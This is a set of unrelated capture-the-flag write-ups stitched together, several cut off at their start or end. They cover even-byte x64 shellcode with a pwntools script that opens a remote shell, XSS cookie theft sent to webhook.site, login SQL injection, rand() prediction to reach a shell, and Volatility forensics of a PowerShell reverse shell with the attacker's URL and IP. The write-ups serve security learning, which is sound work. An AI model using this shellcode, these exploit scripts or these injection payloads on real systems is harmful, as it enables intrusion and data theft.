Consider how our stack operates: We push 0x0068 on:
`00 00 00 00 00 00 00 68`
Then, we push 0x722e on:
`00 00 00 00 00 68 72 2e`
If we were to *increment* our stack pointer, we would now be pointing to `0x72`!
`00 00 00 00 00 00 68 72`
If we pop this word off the stack (a word is a 2 byte value), then our register stores `0x6872` which we can increment the lower byte and pop back onto our stack!
`00 00 00 00 00 00 68 73`
Annoyingly, this means that we have to do this *a lot* as our odd bytes are close together. Also, for my own sanity, I push just the to-be-odd byte and a null byte, so I can better keep track of what is the important data.
So that very nice and clean `mov` and `push` instruction becomes this monster:
```asmmov ax, 0x0068push axmov ax, 0x7200push axinc splpop axinc alpush axmov ax, 0x2e00push axinc splpop axinc alpush axmov ax, 0x6e68inc alpush axmov ax, 0x622einc alpush ax```
`ax` is the lower 2 byte register for `rax`. If I need to increment a single byte on its own (i.e. it's in the upper byte), - then I push it onto the stack, `mov ax, 0x7200; push ax`- increment the stack pointer, `inc spl` - pop it back into the register, `pop ax` - increment it, `inc al` - then push it back onto the stack. `push ax` Phew! Apparently, If you shake bytes enough eventually they change!
This compiles into ```\x66\xB8\x68\x00\x66\x50\x66\xB8\x00\x72\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x2E\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x68\x6E\xFE\xC0\x66\x50\x66\xB8\x2E\x62\xFE\xC0\x66\x50```Which has no odd bytes! We've finally covered `/bin/sh`
A lot of getting this to work was using `gdb` with `gef` enabled. It's easier to view the stack and see what instructions are getting run and what they do.
## Back at cruising speed
There's a few more changes we can make to that original shellcode with relative ease.
That `imul esi` compiles to `[\xF7]\xEE`. This is just a really elegant way to set a couple registers to 0. Luckily, we can reuse that same `xor` trick on the registers it affects (`rax` and `rdx`):```asmpush 0x30pop raxxorb al, 0x30push 0x30pop rdxxorb dl, 0x30```This compiles to `\x6A\x30\x58\x34\x30\x6A\x30\x5A\x80\xF2\x30`Are there better ways to do this? Probably but I can't be bothered. If it works, it works.
Finally, `mov al, 0x3b` compiles to `\xB0[\x3B]`. This loads the ID for the `execve()` syscall into the first byte of `rax`. We can pretty simply use `0x3a` instead and increment it:```asmmov al, 0x3ainc al```This compiles to `\xB0\x3A\xFE\xC0`.
***What's left?***We have that `pop rdi` thats responsible for `[\x53]`, and the `syscall` that compiles `[\x0F\x05]`. Sadly, my testing pretty much showed that any use of `rdi` or its smaller registers will result in an odd byte, and there wasn't really an easy way for me to use this register. On top of that, `syscall` is mandatory, so there's no way around that one.
So we're back on the self modifying train. But memory is still memory. All we need is the address of where the shellcode is, and then we should know how long it is by the time we finish designing it, so it should be that hard to modify bytes. Good thing for us, it was stored using `mmap()` at address — *What?* Because my work is never over, its stored at address `0x133713370000`. Which means we need to write 4 more odd bytes into our shell code.
## There's no such thing as free lunch
So we need to write the address `0x133713370000` into a register and then access the memory inside of it. We'll do the same trick as we did for /bin/sh, and surely enough, it's not at all clean or elegant. Which again, is *fine*, we just need it to **work**:```asmmov ax, 0x0000push axmov ax, 0x1200push axinc splpop axinc alpush axmov ax, 0x3600push axinc splpop axinc alpush axmov ax, 0x1200push axinc splpop axinc alpush axmov ax, 0x3600push axinc splpop axinc alpush axmov ax, 0x???? ;we don't know where our shellcode will land just yet!push axpop rax```
This compiles to:```\x66\xB8\x00\x00\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x??\x??\x66\x50\x58```Which gives us the end result of having our first point of interest stored in the register `rax`.
Now, we can increment the memory at the address, (first, the `pop rdi` instruction), move the pointer to somewhere else, and increment that memory too (the `syscall` instruction).
```asmincb [rax] ;brackets dereference the pointermov al, 0x?? ;again, this is position dependent until the final result.incb [rax]inc alincb [rax]```
## Except 7's lunch
Finally, we can put it all together:
```asmpush 0x30pop rsixorb sil, 0x30push rsimov ax, 0x0068push axmov ax, 0x7200push axinc splpop axinc alpush axmov ax, 0x2e00push axinc splpop axinc alpush axmov ax, 0x6e68inc alpush axmov ax, 0x622einc alpush axpush rspmov ax, 0x0000push axmov ax, 0x1200push axinc splpop axinc alpush axmov ax, 0x3600push axinc splpop axinc alpush axmov ax, 0x1200push axinc splpop axinc alpush axmov ax, 0x3600push axinc splpop axinc alpush axmov ax, 0x0090push axpop raxincb [rax]mov al, 0xa0incb [rax]inc alincb [rax]pop rdi ; 5Fpush 0x30pop raxxorb al, 0x30push 0x30pop rdxxorb dl, 0x30mov al, 0x3ainc alsyscall ;0f 05```We still have the two instructions that produced the odd bytes. This compiles to:
```\x6A\x30\x5E\x40\x80\xF6\x30\x56\x66\xB8\x68\x00\x66\x50\x66\xB8\x00\x72\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x2E\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x68\x6E\xFE\xC0\x66\x50\x66\xB8\x2E\x62\xFE\xC0\x66\x50\x54\x66\xB8\x00\x00\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x90\x00\x66\x50\x58\xFE\x00\xB0\xA0\xFE\x00\xFE\xC0\xFE\x00[\x5F]\x6A\x30\x58\x34\x30\x6A\x30\x5A\x80\xF2\x30\xB0\x3A\xFE\xC0[\x0F\x05]```However, our shell code will increment those bytes, so I manually decremented them before I sent it:```\x6A\x30\x5E\x40\x80\xF6\x30\x56\x66\xB8\x68\x00\x66\x50\x66\xB8\x00\x72\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x2E\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x68\x6E\xFE\xC0\x66\x50\x66\xB8\x2E\x62\xFE\xC0\x66\x50\x54\x66\xB8\x00\x00\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x90\x00\x66\x50\x58\xFE\x00\xB0\xA0\xFE\x00\xFE\xC0\xFE\x00\x5E\x6A\x30\x58\x34\x30\x6A\x30\x5A\x80\xF2\x30\xB0\x3A\xFE\xC0\x0E\x04```This string literal is the final product. 162 bytes in total. I could've designed code with the decremented bytes in place, but it loses meaning when trying to read it.
Now, we develop our pwntools script:
```pyfrom pwn import *conn = remote("host1.metaproblems.com", 5480) #connect to the hostsc = b'\x6A\x30\x5E\x40\x80\xF6\x30\x56\x66\xB8\x68\x00\x66\x50\x66\xB8\x00\x72\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x2E\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x68\x6E\xFE\xC0\x66\x50\x66\xB8\x2E\x62\xFE\xC0\x66\x50\x54\x66\xB8\x00\x00\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x90\x00\x66\x50\x58\xFE\x00\xB0\xA0\xFE\x00\xFE\xC0\xFE\x00\x5E\x6A\x30\x58\x34\x30\x6A\x30\x5A\x80\xF2\x30\xB0\x3A\xFE\xC0\x0E\x04'conn.recvline() #recv "enter your shellcode line"conn.sendline(sc) #send shellconn.interactive() #go interactive to cat flag```
We run it, get a shell on the host machine, cat the flag to complete the challenge!
`MetaCTF{eVEn_evEN_8y7e5_c4N_re4cH_0Dd_Re9157eRs}`
As a little aside, here's the self modification taking place in gdb/gef:
We can see that our little modification changed the `pop rsi` to `pop rdi`
Not too shabby for never coding in x64 before! It was a cute little chal, I'll give them that :)
## If I had more time, I would've written a shorter shellcode (TL;DR)
The challenge binary runs the shellcode for us, but enforces that every byte is an even byte (0th bit is 0). I wrote new shell code based on an established shellcode to circumvent this restriction, eventually using shellcode self modification to get the syscall and other important instructions to be correct before running them. There exists a way to get the current address of the shellcode regardless of the binary, however, our shellcode was stored at a static location.
```pyshellcode = b'\x6A\x30\x5E\x40\x80\xF6\x30\x56\x66\xB8\x68\x00\x66\x50\x66\xB8\x00\x72\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x2E\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x68\x6E\xFE\xC0\x66\x50\x66\xB8\x2E\x62\xFE\xC0\x66\x50\x54\x66\xB8\x00\x00\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x12\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x00\x36\x66\x50\x40\xFE\xC4\x66\x58\xFE\xC0\x66\x50\x66\xB8\x90\x00\x66\x50\x58\xFE\x00\xB0\xA0\xFE\x00\xFE\xC0\xFE\x00\x5E\x6A\x30\x58\x34\x30\x6A\x30\x5A\x80\xF2\x30\xB0\x3A\xFE\xC0\x0E\x04``` |
# Cyber Santa is Coming to Town: Toy Workshop
 
  
## Description
> The work is going well on Santa's toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?
## Attached Files
- web_toy_workshop.zip
A Zip file containing the full docker source code.
## Summary
We use a vulnerability to parse an XSS payload into the website, which is then being accessed by the 'admin' of the page, who has the flag stored in the cookie.
## Flag
```HTB{3v1l_3lv3s_4r3_r1s1ng_up!}```
## Detailed Solution
Taking a look at the bot.js file, we can see, that the flag is stored in the bot's cookie:
```jsconst cookies = [{ 'name': 'flag', 'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'}];```
We can also see, that it will access the `http://127.0.0.1:1337/queries` Url:
```jsconst readQueries = async (db) => { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage(); await page.goto('http://127.0.0.1:1337/'); await page.setCookie(...cookies); await page.goto('http://127.0.0.1:1337/queries', { waitUntil: 'networkidle2' }); await browser.close(); await db.migrate();};```
So let's take a look the contents of the `/queries` endpoint.
```jsrouter.get("/queries", async (req, res, next) => { if (req.ip != "127.0.0.1") return res.redirect("/");
return db .getQueries() .then((queries) => { res.render("queries", { queries }); }) .catch(() => res.status(500).send(response("Something went wrong!")));});```
The queries endpoint will just render all elements from the database, without any cleanup. This seems interesting, this rings my alarm for XSS! So let's take a look how elements are put into the database.
We can find an endpoint, that inserts data into the database. Important to notice: It just takes the input and writes it into the db. No cleanup or checks again. This definitely gives us possible XSS.
```jsrouter.post("/api/submit", async (req, res) => { const { query } = req.body; if (query) { return db.addQuery(query).then(() => { bot.readQueries(db); res.send(response("Your message is delivered successfully!")); }); } return res.status(403).send(response("Please write your query first!"));});```
Right here we can go ahead and send our payload via a curl request for example. But there is another interesting thing to find is in the `index.js` file.
```js$(document).ready(() => { $('#submit-btn').on('click', submit);});
const elf_info = (elf_id) => { inst = $('[data-remodal-id=modal]').remodal(); inst.open(); $('#elfavatar').attr('src',`/static/images/elf${elf_id}.png`); $('#elfname').text((elf_id == 1) ? 'Lhoris Farrie' : 'Ievis Chaeqirelle');}
const submit = async () => { $('#submit-btn').prop('disabled', true);
// prepare alert let card = $('#resp-msg'); card.attr('class', 'alert alert-info'); card.hide();
// validate let query = $('#query').val(); if ($.trim(query) === '') { $('#submit-btn').prop('disabled', false); card.text('Please input your query first!'); card.attr('class', 'alert alert-danger'); card.show(); return; }
await fetch('/api/submit', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({query: query}), }) .then((response) => response.json() .then((resp) => { card.attr('class', 'alert alert-danger'); if (response.status == 200) { card.attr('class', 'alert alert-success'); } card.text(resp.message); card.show(); })) .catch((error) => { card.text(error); card.attr('class', 'alert alert-danger'); card.show(); });
$('#submit-btn').prop('disabled', false);}```
We see a function called `elf_info`, which accesses the endpoint to add data to the database.Let's see if we can call this function via the developer console!
And tada! We got the window we need to easily insert data into the database.Now we build an easy XSS payload using the website `https://webhook.site` to receive the cookie data.
```html<script> document.write(''); </script>```
Inserting this script, submitting and waiting a few minutes for the bot to access the website, we get it's cookie!
And there we can see our flag `HTB{3v1l_3lv3s_4r3_r1s1ng_up!}`! |
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<div id="readme" class="Box-body readme blob js-code-block-container p-5 p-xl-6 gist-border-0"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>MetaCTF 2021</h1><h2 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>There Are No Strings on Me (100pts)</h2><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Description:</h3><blockquote>We've got this program that's supposed to check a password, and we're not quite sure how it works. Could you take a look at it and see about finding the password it's looking for?</blockquote><h3 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Procedure:</h3>Lets check the strings in it<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="root@kali~$ strings strings">root@kali~$ strings strings</div>I personally use Cyberchef to check the strings in it.Eventually i got the flag:)<h1 dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>Flag:</h1><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="MetaCTF{this_is_the_most_secure_ever}">MetaCTF{this_is_the_most_secure_ever}</div></article> </div>
We've got this program that's supposed to check a password, and we're not quite sure how it works. Could you take a look at it and see about finding the password it's looking for?
Lets check the strings in it
I personally use Cyberchef to check the strings in it.
Eventually i got the flag:)
</div>
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```bashvol.py -f honeypot.raw imageinfo```
After finding out what kind of image we are dealing with, I usually first check to see what processes were running.```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 pslist```
We can see some iexplore.exe processes. To be expected considering there was a URL used to download a malware. I also see powershell and whoami being run. Will make a note of that.
Let's see what ports and connections we have listening or established. Especially in this case since the description asks us to find a process PID.```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 netscan```
Made a note of a strange quad 4 port.
Since Santa downloaded a malware and the challenges asks us to find a URL, let's check the Internet Exploder history as well.```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 iehistory```
I'm always wary of .hta files so this jumped out at me.
So we know iexplore.exe was used with PID 3344 to download an hta file.
Let's try to find the file
```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 filescan|grep -i .hta ```
We find it so let's dump its contents
```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x3f4d4348 -n "christmas_update[1].hta"```
Would you look at that. That looks like a powershell reverse shell. We are on the right track.
Base64 decoding the string, we find it is downloading and executing a file called update.ps1
We can't find the file in memory.```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 filescan|grep -i update.ps1```
Back to netscan we notice a lot of powershell.exe processes with PID 2700. Because a ps1 reverse shell was downloaded, it would be running with powershell which has PID 2700. So I dumped the memory of that PID.
```bashvol.py -f honeypot.raw --profile=Win7SP1x86_23418 memdump -p 2700 -D .```And we can see the actual content of the script that was run by powershell.
We have our IP: 147.182.172.189
Putting all this information together as the challenge requires us.
The URL used to download the malware: https://windowsliveupdater.com/christmas_update.htaThe malicious process PID: 2700The attacker's IP: 147.182.172.189
Putting it all together it looks like this: https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189
However the flag is supposed to be the md5sum of that.
```bashecho "https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189"|md5sum```
HTB{432fd3de8e42875dee4cef3dc6b1a766}
|
# Cyber Santa is Coming to Town: Toy Management
 
  
## Description
> The evil elves have changed the admin access to Santa's Toy Management Portal. Can you get the access back and save the Christmas?
## Attached Files
- web_toy_management.zip
A Zip file containing the full docker source code.
## Summary
We use a simple SQL injection to get admin access and read the database containing the flag.
## Flag
```HTB{1nj3cti0n_1s_in3v1t4bl3}```
## Detailed Solution
We are greeted with a login window, with no idea what to do.
To get a better understanding of the website, we look at the demo files.Looking at the demo files, we can see a `database.db`. We can see, that the flag is loaded into the toylist table:
```sql---- Dumping data for table `toylist`--
INSERT INTO `toylist` (`id`, `toy`, `receiver`, `location`, `approved`) VALUES(1, 'She-Ra, Princess of Power', 'Elaina Love', 'Houston', 1),(2, 'Bayblade Burst Evolution', 'Jarrett Pace', 'Dallas', 1),(3, 'Barbie Dreamhouse Playset', 'Kristin Vang', 'Austin', 1),(4, 'StarWars Action Figures', 'Jaslyn Huerta', 'Amarillo', 1),(5, 'Hot Wheels: Volkswagen Beach Bomb', 'Eric Cameron', 'San Antonio', 1),(6, 'Polly Pocket dolls', 'Aracely Monroe', 'El Paso', 1),(7, 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'HTBer', 'HTBland', 0);-- --------------------------------------------------------```
The toylist can be accessed through the endpoint `/api/toylist`. But we need to be logged in as admin to access the endpoint.
```jsrouter.get('/api/toylist', AuthMiddleware, async (req, res) => { return db.getUser(req.data.username) .then(user => { approved = 1; if (user[0].username == 'admin') approved = 0; return db.listToys(approved) .then(toyInfo => { return res.json(toyInfo); }) .catch(() => res.status(500).send(response('Something went wrong!'))); }) .catch(() => res.status(500).send(response('Something went wrong!')));});```
Looking at the `loginUser` function from the database, we can spot something interesting though! We have an SQL injection!
```jsasync loginUser(user, pass) { return new Promise(async (resolve, reject) => { let stmt = `SELECT username FROM users WHERE username = '${user}' and password = '${pass}'`; this.connection.query(stmt, (err, result) => { if(err) reject(err) try { resolve(JSON.parse(JSON.stringify(result))) } catch (e) { reject(e) } }) }); }```
Using a simple payload for an SQL injection, we can login as admin:
Being logged in, we can see the toylist loaded on the dashboard and can just read our flag:
 |
# Bad SeedThis challenge provides a binary to practice on locally before running our exploit on the remote host. We'll use Ghidra to decompile the binary to see how it works.
The main entry point shows that we'll need to tackle a series of questions:
```cundefined8 main(EVP_PKEY_CTX *param_1)
{ init(param_1); question_one(); question_two(); question_three(); gz(); return 0;}```
## Question 1
Let's look at the first question (trimming the code to the relevant portion):
```cvoid question_one(void)
{ // snipped local_20 = 6.035077; local_1c = 4000; local_24 = 0; local_18 = 0; // snipped local_18 = (int)((float)local_1c / local_20); puts("how heavy is an asian elephant on the moon?"); __isoc99_scanf(&DAT_00402034,&local_24); if (local_18 != local_24) { puts("wrong bye bye"); exit(0); } puts("\ngreat 2nd question:"); puts("give me the rand() value"); // snipped}```
The first question, `how heavy is an asian elephant on the moon?`, has an answer of `4000/6.035077`. After casting to `int`, this equals `662`. Let's get started on the solve script!
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./badseed')
if args.REMOTE: io = remote('ctf.k3rn3l4rmy.com', 2200)else: io = process(binary.path)
# Question 1io.recvline()io.sendline(str(662).encode())io.recvuntil(b'give me the rand() value\n')```
The script has a flag to either run locally or on the remote. It will send our first solution and then exit.
```sh ./exploit.py DEBUG [DEBUG] Received 0x2c bytes: b'how heavy is an asian elephant on the moon?\n'[DEBUG] Sent 0x4 bytes: b'662\n'[DEBUG] Received 0x2e bytes: b'\n' b'great 2nd question:\n' b'give me the rand() value\n'```
## Question 2
Let's look at the function for the next question:
```cvoid question_two(void)
{ // snipped int local_24; int local_20; int local_1c; time_t local_18; // snipped
local_18 = time((time_t *)0x0); __isoc99_scanf(&DAT_00402034,&local_24); srand((uint)local_18); local_20 = rand(); local_1c = rand(); if (local_1c != local_24) { puts("wrong bye bye"); exit(0); } puts("great 3rd question:"); puts("no hint this time... you can do it?!"); // snipped}```This function starts by calling `srand(time(NULL))`. This will set the random number generator seed to the current time. Then it generates two random numbers, and then checks that our answer equals the second random number.
Python is able to call C functions. If we mimic the call to set the seed, and the two random number generations, we can actually obtain the same random number the question generates! We'll just have to generate our numbers at the same time the quiz code is doing it.
We can add the `libc` library to our code to prepare for generating some random numbers:
```pythonimport ctypes
libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libm.so.6')```
And now, let's generate and send the number:
```python# Question 2libc.srand(libc.time(None))number1 = libc.rand()number2 = libc.rand()io.sendline(str(number2).encode())io.recvuntil(b'no hint this time... you can do it?!\n')```
Quick test:
```sh./exploit.py DEBUG[DEBUG] Received 0x2c bytes: b'how heavy is an asian elephant on the moon?\n'[DEBUG] Sent 0x4 bytes: b'662\n'[DEBUG] Received 0x2e bytes: b'\n' b'great 2nd question:\n' b'give me the rand() value\n'[DEBUG] Sent 0xb bytes: b'2137537274\n'[DEBUG] Received 0x39 bytes: b'great 3rd question:\n' b'no hint this time... you can do it?!\n'```
## Question 3Almost there. Let's look at the last question:
```cvoid question_three(void)
{ // snipped int local_2c; uint local_28; int local_24; int local_20; int local_1c; time_t local_18; // snipped local_18 = time((time_t *)0x0); srand((uint)local_18); local_28 = rand(); srand(local_28); local_24 = rand(); local_20 = (int)local_28 / local_24; local_1c = local_20 % 1000; __isoc99_scanf(&DAT_00402034,&local_2c); if (local_1c != local_2c) { puts("wrong bye bye"); exit(0); } puts("great heres your shell"); // snipped}```
After this function ends, the program calls the `gz` function that gives a shell:
```cvoid gz(void)
{ system("/bin/sh"); return;}```
The `question_three` function does the following:1. Seeds the random number generator with `time(NULL)`.1. Generates a random number, and then seeds the RNG with that value.1. Generates a second random number.1. Calculates the first random number divided by the second. Then checks that our answer equals the remainder of dividing that value by 1000.
We can accomplish that with some code similar to our answer to question 2:
```python# Question 3libc.srand(libc.time(None))number1 = libc.rand()libc.srand(number1)number2 = libc.rand()result = (number1 // number2) % 1000io.sendline(str(result).encode())
io.interactive()```
Now, we can run the full script on the remote server, and obtain a shell!
```sh ./exploit.py REMOTE [*] Switching to interactive modegreat heres your shell$ lsflag.txtrun$ cat flag.txtflag{i_0_w1th_pwn70ols_i5_3a5y}```
Flag captured! This took a couple tries since the latency of the request can lead to us sending obsolete random number values.
## Solution Script
```python#!/usr/bin/env python3
from pwn import *import ctypes
libc = ctypes.CDLL('/lib/x86_64-linux-gnu/libm.so.6')binary = context.binary = ELF('./badseed')
if args.REMOTE: io = remote('ctf.k3rn3l4rmy.com', 2200)else: io = process(binary.path)
# Question 1io.recvline()io.sendline(str(662).encode())io.recvuntil(b'give me the rand() value\n')
# Question 2libc.srand(libc.time(None))number1 = libc.rand()number2 = libc.rand()io.sendline(str(number2).encode())io.recvuntil(b'no hint this time... you can do it?!\n')
# Question 3libc.srand(libc.time(None))number1 = libc.rand()libc.srand(number1)number2 = libc.rand()result = (number1 // number2) % 1000io.sendline(str(result).encode())
io.interactive()# flag{i_0_w1th_pwn70ols_i5_3a5y}``` |
# Two's Compliment
The description for this challenge is as follows:
*Seven ate six*
*After seven ate six, it thought to itself, "After I ate nine my mouth felt numb, but this time it's even number".*
*nc host1.metaproblems.com 5480*
*Two_Compliment*
This challenge was worth 250 points, and it only had 31 solves at the end of the competition. I found it fairly difficult since I ended up manually writing shellcode to fit some extremely tight restrictions, although it is absolutely possible that there are easier methodologies! Nevertheless, I do feel like this method is, at minimum, a good learning exercise.
The challenge came with a zip file that included the original binary as well as a docker setup. Personally, I simply ran the binary by itself and did not touch the docker image, and it seemed to work fine.
**TL:;DR Solution:** Reverse engineer the binary to discover that it will run whatever shellcode you give it, but only if that shellcode consists exclusively of even-numbered bytes. Note that the rax and rdx registers are set to the start of the mmapped region that stores our shellcode, and the instructuction "mov al, some even number", "inc al", and "inc BYTE PTR ds:[rax];" (and the equivalents for rdx) use only even-numbered bytes. Use these instructions to move within the shellcode's mmapped space and edit instructions to allow for odd bytes, which gives us arbitrary shellcode execution.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/MetaCTF21/Two's_Compliment
## Gathering Information
